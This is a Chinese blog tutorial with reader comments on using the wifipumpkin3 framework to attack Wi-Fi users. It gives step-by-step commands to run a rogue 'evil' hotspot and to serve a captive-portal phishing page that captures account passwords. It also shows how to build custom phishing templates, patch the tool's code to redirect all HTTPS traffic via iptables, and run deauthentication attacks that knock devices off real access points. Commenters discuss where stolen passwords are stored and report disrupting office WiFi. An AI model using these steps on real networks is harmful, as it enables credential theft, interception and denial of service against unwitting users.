wifipumpkin3 WiFi钓鱼工具

枫少@KillBoy
枫少@KillBoy
管理员
219
文章
0
粉丝
资源分享5315,1635字数 1001阅读3分20秒阅读模式
AI智能摘要
你是否想过,一个看似正常的Wi-Fi热点,竟能在你毫无察觉时窃取账号密码?本文带你深入探究WiFi Pineapple的开源替代品——wifipumpkin3,一款用Python编写的强大钓鱼框架。它能快速搭建恶意热点,结合captiveflask实现强制登录页面,甚至拦截HTTPS流量。从环境配置、热点搭建到自定义钓鱼页面、Deauth攻击实战,全程详解中间人攻击的每一步技术细节。技术无罪,重在防御,读懂它,才能更好地识破无线陷阱。
— AI 生成的文章内容摘要

简介

wifipumpkin3是用Python编写wifi钓鱼攻击强大框架

可以快速方便的搭建一个钓鱼wifi,进行钓鱼或中间人攻击,免去了手动搭建环境的繁琐步骤

支持的攻击种类有:

恶意访问点攻击

中间人攻击

死角接入点攻击

额外的captiveflask模板

DNS劫持

俘虏门户攻击 (captiveflask)

拦截,检查,修改和重放网络流量

WiFi网络扫描

DNS监控服务

凭证收集

透明代理

LLMNR,NBT-NS和MDNS 投毒(Responder3)

and more!

本文章仅限于技术交流,严禁用于非法途径

安装

使用环境:kali 2021.2

网卡:RTL8812AU-VS(802.11ac 2x2 USB2.0)

依赖安装

sudo apt install hostapd   sudo apt install libssl-dev libffi-dev build-essential sudo apt install python3-pyqt5 

框架安装

git clone https://github.com/P0cL4bs/wifipumpkin3.git cd wifipumpkin3 sudo python3 setup.py install 

安装完成后使用sudo wifipumpkin3 命令即可开启框架

wifipumpkin3 WiFi钓鱼工具-图片1

使用

搭建简单钓鱼热点

使用以下命令可以建立起一个简单的热点

# 设置热点名称 wp3 > set ssid evil # 选择网卡 wp3 > set interface wlan0 # 设置代理插件(后面会讲) wp3 > set proxy noproxy wp3 > start 

wifipumpkin3 WiFi钓鱼工具-图片2

这时我们就能搜索到搭建的热点

wifipumpkin3 WiFi钓鱼工具-图片3

可以正常连接,同时,我们的kali上也会显示连接情况

wifipumpkin3 WiFi钓鱼工具-图片4

利用captiveflask强制用户登录

captiveflask是框架中代理功能中的一个选项,他可以阻止连接此wifi的用户上网,并令http请求跳转到钓鱼登录页面,从而获取用户的账号密码

以内置的登录网页为例

wifipumpkin3/wifipumpkin3/plugins/captiveflask目录,有四个内置登录网页

wifipumpkin3 WiFi钓鱼工具-图片5

我们此次使用DarkLogin.py

# 设置热点名称 wp3 > set ssid evil # 选择网卡 wp3 > set interface wlan0 # 设置代理插件 wp3 > set proxy captiveflask # 设置模板 wp3 > set captiveflask.DarkLogin true wp3 > start 

通过proxies命令可以看到现在启用的插件和代理

wifipumpkin3 WiFi钓鱼工具-图片6

此时链接wifi,即可显示登录页面

wifipumpkin3 WiFi钓鱼工具-图片7

如果在此页面输入账号密码,就会被捕获

wifipumpkin3 WiFi钓鱼工具-图片8

未登录前所有http网站都无法访问,但是要注意的是,此插件无法拦截https流量

如果想要拦截https流量,需要做以下修改:

设定拦截https

首先关闭wifipumpkin3

修改wifipumpkin3/core/servers/proxy/captiveflask.py,在第119行添加如下

print(display_messages("redirecting HTTPS traffic", info=True))         self.add_default_rules(             "{iptables} -t nat -A PREROUTING -i {iface} -p tcp --dport 443 -j DNAT --to-destination {ip}:443".format(                 iptables=self.getIptablesPath, iface=IFACE, ip=IP_ADDRESS, port=PORT             )         ) 

wifipumpkin3 WiFi钓鱼工具-图片9

此时所有https流量均转发至本地443端口

sudo python3 setup.py install 

再次访问就无法打开https页面

wifipumpkin3 WiFi钓鱼工具-图片10

自定义登录门户页面

首先在wifipumpkin3/wifipumpkin3/plugins/captiveflask目录添加一个模板

我们把DarkLogin.py复制一份,重命名为test.py

吧DarkLogin全替换为test

wifipumpkin3 WiFi钓鱼工具-图片11

随后修改配置文件wifipumpkin3/config/app/captive-portal.ini

wifipumpkin3 WiFi钓鱼工具-图片12

接着把前端模板按照flask的目录格式,放到wifipumpkin3/config/templates/test文件夹下

wifipumpkin3 WiFi钓鱼工具-图片13

重新编译后启动

wp3 > set ssid evil wp3 > set interface wlan0 wp3 > set proxy captiveflask wp3 > set captiveflask.test true wp3 > start 

wifipumpkin3 WiFi钓鱼工具-图片14

链接wifi,发现跳转到自定义页面

wifipumpkin3 WiFi钓鱼工具-图片15

执行wifi取消身份验证攻击

为了能让大部分设备连接我们的钓鱼热点,我们需要通过取消身份验证攻击令连接真实热点的设备掉线

什么是wifi取消身份验证攻击?

wifi取消身份验证攻击是一种拒绝服务攻击,它以用户和wifi接入点之间的通信为目标。

攻击者可以随时将带有身份验证对象欺骗地址的取消身份验证帧发送到无线访问点,令对象掉线。

wp3 > use wifi.wifideauth wp3 : wifideauth > set interface wlan0 wp3 : wifideauth > scan 

wifipumpkin3 WiFi钓鱼工具-图片16

将信道切换为11

wifipumpkin3 WiFi钓鱼工具-图片17

选择一个bssid

wp3 > use wifi.wifideauth wp3 : wifideauth > set interface wlan0 wp3 : wifideauth > set target xx:xx:e2:e8:e4 

wifipumpkin3 WiFi钓鱼工具-图片18

start运行后,目标wifi即无法连接

如果想将身份验证攻击与钓鱼热点结合使用,则需要准备俩网卡

https://www.freebuf.com/sectool/265288.html

 
枫少@KillBoy
评论  53  访客  53
    • 茶香小馆
      茶香小馆 0

      这个框架配置起来复杂吗?

      • 灯匠
        灯匠 0

        之前用aircrack折腾半天,这个好像简单些

          • 憨戳戳
            憨戳戳 0

            @ 灯匠 这个框架比aircrack确实方便不少

          • 虚空绘梦师
            虚空绘梦师 0

            需要俩网卡才能钓鱼+攻击?有点麻烦

              • 破碎的倔强
                破碎的倔强 0

                @ 虚空绘梦师 单网卡凑合用吧,非得俩的话门槛太高了

              • 暗影信使
                暗影信使 0

                试了下kali2022好像装不上,有人遇到吗?

                • 黑暗福音
                  黑暗福音 1

                  RTL8812AU这网卡现在不好买了

                    • 俏丽鸟小歌
                      俏丽鸟小歌 0

                      @ 黑暗福音 8812AU可以看看某宝的二手,价格还行

                    • 鬼语连篇
                      鬼语连篇 0

                      自定义页面部分讲得挺清楚,照着做成功了

                      • 烟锁画楼
                        烟锁画楼 0

                        这种工具还是谨慎用,别乱搞

                        • 锈链守护者
                          锈链守护者 0

                          https拦截那个修改实测有效👍

                          • 嫣红似火
                            嫣红似火 0

                            公司内网测试用这个做安全演练应该不错

                            • 飘渺之雾
                              飘渺之雾 1

                              看了半天还是没懂怎么收集到的密码去哪看

                                • 憨态可掬熊
                                  憨态可掬熊 0

                                  @ 飘渺之雾 密码在logs文件夹里能找到

                                • 食堂干饭王
                                  食堂干饭王 0

                                  公司用这个做演练得先报备吧

                                    • 搞怪小能手
                                      搞怪小能手 1

                                      @ 食堂干饭王 公司用这玩意不报备怕是要被开除hhh

                                    • 终焉裁决者
                                      终焉裁决者 0

                                      试了下自定义页面,改CSS有点费劲

                                        • 杨洋
                                          杨洋 1

                                          @ 终焉裁决者 改CSS确实麻烦,我折腾半天样式还是错位

                                        • 啾啾小奶猫
                                          啾啾小奶猫 0

                                          这工具在win10子系统能用吗?

                                            • 果冻萌
                                              果冻萌 1

                                              @ 啾啾小奶猫 win10子系统没内核驱动,基本跑不起来吧

                                            • 奶泡小甜心
                                              奶泡小甜心 1

                                              取消验证攻击效果确实猛,上次测试直接把会议室WiFi搞瘫了

                                                • 纸人傀儡
                                                  纸人傀儡 1

                                                  @ 奶泡小甜心 deauth攻击太狠了,不过公司网络可别乱试

                                                • 天鹅旋律
                                                  天鹅旋律 1

                                                  感觉文档写得有点乱,新手可能看不懂

                                                  • 热情的火花
                                                    热情的火花 1

                                                    只用一个网卡的话,钓鱼效果会打折扣

                                                      • 破碎魂幡
                                                        破碎魂幡 0

                                                        @ 热情的火花 一个网卡只能干一半活,想搞全套确实得俩

                                                      • 永夜行刑
                                                        永夜行刑 0

                                                        这种技术分享挺好的,但千万别乱用

                                                        • 冷静理性
                                                          冷静理性 0

                                                          钓鱼页面改完CSS还是丑,有没有好看的模板推荐?

                                                          • 往昔烟火
                                                            往昔烟火 0

                                                            https拦截改完代码后443端口没起服务咋办🤔

                                                              • 老电影院
                                                                老电影院 0

                                                                @ 往昔烟火 改完443那块得自己起个https服务才行,不然就是空转

                                                              • 青瓷流光
                                                                青瓷流光 0

                                                                我拿树莓派试了下,跑起来贼卡,还是得上kali

                                                                • 晨钟巷
                                                                  晨钟巷 0

                                                                  新手问下:密码收集后存在哪个文件里啊?

                                                                  • 龙骨余音
                                                                    龙骨余音 0

                                                                    之前用fluxion,感觉这个更轻量,但文档太乱了

                                                                      • 奶芙小云朵
                                                                        奶芙小云朵 0

                                                                        @ 龙骨余音 文档乱得像草稿,关键步骤全靠猜,老用户都懵

                                                                        • 风吟旧事
                                                                          风吟旧事 0

                                                                          @ 龙骨余音 fluxion吃资源太狠,这个轻是轻了,就是界面丑到不想看

                                                                        • 小蕾
                                                                          小蕾 0

                                                                          实测deauth攻击对iPhone12效果一般,连不上假热点

                                                                          • 游戏宅
                                                                            游戏宅 0

                                                                            wlan0老是被占,每次都要ifconfig down/up好烦

                                                                            • 秘境吟游者
                                                                              秘境吟游者 0

                                                                              钓鱼页面丑哭,有没有现成好看的模板啊

                                                                              • 山间漫游者
                                                                                山间漫游者 0

                                                                                单网卡只能守株待兔,双网卡才是王道

                                                                                • 染匠程
                                                                                  染匠程 1

                                                                                  密码收集完到底存哪?找了半天没看到日志

                                                                                  • 旧时光驿站
                                                                                    旧时光驿站 0

                                                                                    https拦截改完代码得手动起443服务才行

                                                                                    • 毛球狍子
                                                                                      毛球狍子 1

                                                                                      新手问下captiveflask能抓微信账号吗?

                                                                                      • 韵绕林间
                                                                                        韵绕林间 0

                                                                                        这工具比fluxion顺手,就是文档跟天书一样

                                                                                        • 漆匠唐
                                                                                          漆匠唐 0

                                                                                          树莓派跑这个真不行,CPU直接干到100%

                                                                                          • 暗裔剑魔
                                                                                            暗裔剑魔 0

                                                                                            这工具真能抓到密码?我试了几次都没日志输出啊

                                                                                            • 寂静的沉思者
                                                                                              寂静的沉思者 0

                                                                                              单网卡跑起来确实鸡肋,守株待兔成功率太低了

                                                                                              • 白萝卜超人
                                                                                                白萝卜超人 0

                                                                                                前几天刚用这玩意做内网演练,deauth一开全员掉线hhh

                                                                                                • 代码狂潮
                                                                                                  代码狂潮 1

                                                                                                  看着挺复杂,得配双网卡才好玩吧

                                                                                                  • 初音
                                                                                                    初音 1

                                                                                                    光看命令头都大了

                                                                                                      • 憨包
                                                                                                        憨包 1

                                                                                                        @ 初音 刚接触都这样,慢慢来

                                                                                                      • 永恒拼图
                                                                                                        永恒拼图 1

                                                                                                        Kali2021版本现在还能用吗?

                                                                                                        • 异志残魂
                                                                                                          异志残魂 1

                                                                                                          这工具功能还挺全的

                                                                                                            • 虚像捕手
                                                                                                              虚像捕手 1

                                                                                                              @ 异志残魂 功能是挺全的,适合搞安全测试用

                                                                                                            • 阿朱
                                                                                                              阿朱 1

                                                                                                              需要双网卡这点有点劝退啊

                                                                                                            匿名

                                                                                                            发表评论

                                                                                                            匿名网友

                                                                                                            拖动滑块以完成验证